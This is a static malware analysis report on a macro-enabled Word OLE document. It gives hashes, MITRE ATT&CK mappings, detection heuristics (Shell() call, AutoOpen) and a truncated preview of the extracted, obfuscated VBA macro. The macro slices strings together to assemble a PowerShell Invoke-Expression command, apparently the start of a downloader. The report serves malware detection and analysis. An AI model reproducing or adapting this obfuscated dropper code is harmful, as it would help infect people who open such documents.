Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52d7f15d1c0b3a76…

MALICIOUS

Office (OLE)

150.0 KB Created: 2018-05-21 12:24:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 204873e8e3deeb549ae920b27d5258cf SHA-1: d13c3a7f99c92eadcc57310b8d3e061a47b39ff1 SHA-256: 52d7f15d1c0b3a76ead6197e0c12bc3290797e8d4aad71ff2183b333c0c61987
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. A critical heuristic firing indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands. The AutoOpen macro marker further suggests that this malicious code is designed to run automatically upon opening the document. The script's obfuscated nature and the Shell() call strongly suggest it's a downloader for a second-stage payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 182781 bytes
SHA-256: 611c6dcf722acd80f98fa4a9d67ed5818836965c7480a01c13d1f6a59ae1b11b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mECsHnWkk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function IcmiYoYIIX()

On Error Resume Next
ROLEnur = (WWZiji - CDbl(113891) + XCkOWljq + Fix(SjikojX / CLng(521951 * Sqr(zHlbduSjJUi))) - 21263 / Sin(vKMZWMCQwpi - XqlELHVnw - 594036 + CLng(hYswtIRh)) * 106835 * Fix(113891))
PBjHAuhv = "Vowerh82XVZ9NPK4pyshell iNvOtoEDEsv43eChwslDpnpd"
lOVcvL = CStr(Left(Right(PBjHAuhv, 47), 4)) + Left(Right(PBjHAuhv, 30), 10) + Left(Right(PBjHAuhv, 34), 1) + Left(Right(PBjHAuhv, 16), 1)

GwcwbPRkm = "WkNJBdOsepREsrpFF74kHHlyuMTXYDtZ-ExPRESsIon( ('&( MbydUEyOvErv9VbFwlNXIgmfKsvW9fBfIuiwSgcFJY9W3U"
jsDWYVILP = Left(Right(GwcwbPRkm, 64), 21) + CStr(Left(Right(GwcwbPRkm, 38), 3)) + CStr(Left(Right(GwcwbPRkm, 16), 1)) + CStr(Left(Right(GwcwbPRkm, 90), 6)) + Left(Right(GwcwbPRkm, 23), 1)

abIvXljwXK = "BO'WkNJBdeRences.pFF74tHHly"
NcaXHN = CStr(Left(Right(abIvXljwXK, 18), 6)) + Left(Right(abIvXljwXK, 11), 1) + Left(Right(abIvXljwXK, 5), 1) + CStr(Left(Right(abIvXljwXK, 25), 1))

YmzaKlwlY = Chr(43)
EjIYT = "BOm3]NJBdThiVoH'OStriNG()ly[1TXYDtZK7U,xYLDQP"
AiJBXXor = Left(Right(EjIYT, 30), 10) + Left(Right(EjIYT, 18), 2) + CStr(Left(Right(EjIYT, 7), 1)) + Left(Right(EjIYT, 42), 2)

zpnWD = Chr(43)
KKslOWjY = "WkNJB ( (VoHsrpFF74kHHlypRfxpRf-JOINpRfpQPLRfEMoEeVw6dpEyOOp)v9VbFwlNXIg"
ZiuUSp = CStr(Left(Right(KKslOWjY, 48), 16)) + CStr(Left(Right(KKslOWjY, 29), 2)) + Left(Right(KKslOWjY, 12), 1) + CStr(Left(Right(KKslOWjY, 67), 4)) + CStr(Left(Right(KKslOWjY, 18), 1))

icEmoZaLd = "k4BOmWkRfFlpRiVoHsfpF"
AmDJMFVHH = Left(Right(icEmoZaLd, 14), 5) + Left(Right(icEmoZaLd, 9), 1) + Left(Right(icEmoZaLd, 3), 1)

AzHjFIqFmf = Chr(43)
VtrEnXvhU = (EPjJYlt - CDbl(722310) + tPskBGV + Fix(SkCiKcuDKMX / CLng(303294 * Sqr(wsAfRkwBZX))) - 934509 / Sin(rdfUvpkskis - KilLc - 240973 + CLng(czLOETB)) * 714710 * Fix(722310))
wOYzr = "k4BOmWkNpRf0nsVpHsrp'F74"
iqXGfFViJW = CStr(Left(Right(wOYzr, 16), 6)) + Left(Right(wOYzr, 9), 1) + Left(Right(wOYzr, 4), 1)

IZQmptvwf = Chr(43)
TqwsNf = "4uk'RfmWk"
EGjvlST = Left(Right(TqwsNf, 6), 2) + Left(Right(TqwsNf, 4), 1)

AlmkuwG = Chr(43)
knKumCNJ = (vYfTfZbpA - CDbl(931195) + SJABEubbZn + Fix(sQWWW / CLng(826334 * Sqr(GLKollVm))) - 982655 / Sin(LXMVltt - FQklFAKbn - 904459 + CLng(iCIJzJzU)) * 115409 * Fix(931195))
jXjAFIa = "BOmWo7VBdThiVoHsrpFFpRfadasd = &(oZK7VIxYLDQPLFpEMnEeVw6dUEy"
QoujMAbTc = Left(Right(jXjAFIa, 40), 14) + Left(Right(jXjAFIa, 24), 2) + CStr(Left(Right(jXjAFIa, 10), 1)) + Left(Right(jXjAFIa, 56), 3)

JOzMKjZSHBo = Chr(43)
jzRuiwIO = "k4BOmWo7VpRThiV'Hs"
KbNGXWit = CStr(Left(Right(jzRuiwIO, 12), 4)) + CStr(Left(Right(jzRuiwIO, 8), 1)) + Left(Right(jzRuiwIO, 3), 1)

OhVmvmXFBEY = Chr(43)
MwTnWwRF = "Eg'fk4"
rNknGD = Left(Right(MwTnWwRF, 4), 2)

YaOurndTVGd = Chr(43)
QTkUUzm = (zRSBzYAnc - CDbl(976751) + SDKfnCXNIwb + Fix(KFsnMkz / CLng(909462 * Sqr(ivuwbz))) - 637631 / Sin(zOhvbqav - JljhzHqn - 559763 + CLng(iHNJL)) * 511892 * Fix(976751))
qOZLYqDfd = "pW11HFwCigXpRl3myfeopRfi"
hAhcVB = Left(Right(qOZLYqDfd, 13), 2) + Left(Right(qOZLYqDfd, 7), 6)

ZFijzUZRzEf = Chr(43)
XVwRsGUksp = "pW11HFwpigRf7'3"
DAUvI = CStr(Left(Right(XVwRsGUksp, 8), 1)) + CStr(Left(Right(XVwRsGUksp, 5), 4))

sYHVrfk = Chr(43)
IcmiYoYIIX = lOVcvL + jsDWYVILP + NcaXHN + YmzaKlwlY + AiJBXXor + zpnWD + ZiuUSp + AmDJMFVHH + AzHjFIqFmf + iqXGfFViJW + IZQmptvwf + EGjvlST + AlmkuwG + QoujMAbTc + JOzMKjZSHBo + KbNGXWit + OhVmvmXFBEY + rNknGD + YaOurndTVGd + hAhcVB + ZFijzUZRzEf + DAUvI + sYHVrfk

End Function

Function PItLip()

On Error Resume Next
dmENwwkF = (XlWqtHc - CDbl(724481) + JBQWAOKU + Fix(MvEwomZMk / CLng(135015 * Sqr(SfmISQ))) - 58005 / Sin(VZAGf - hkuXrF - 427201 + CLng(YutPmpBU)) * 455552 * Fix(724481))
EPTPjKCnDvM = "pW11HFw'igVpRf3"
WatrVO = CStr(Left(Right(EPTPjKCnDvM, 8), 1)) + CStr(Left(Right(EPTPjKCnDvM, 5), 4))

ziSzudRDAVq = C
... (truncated)

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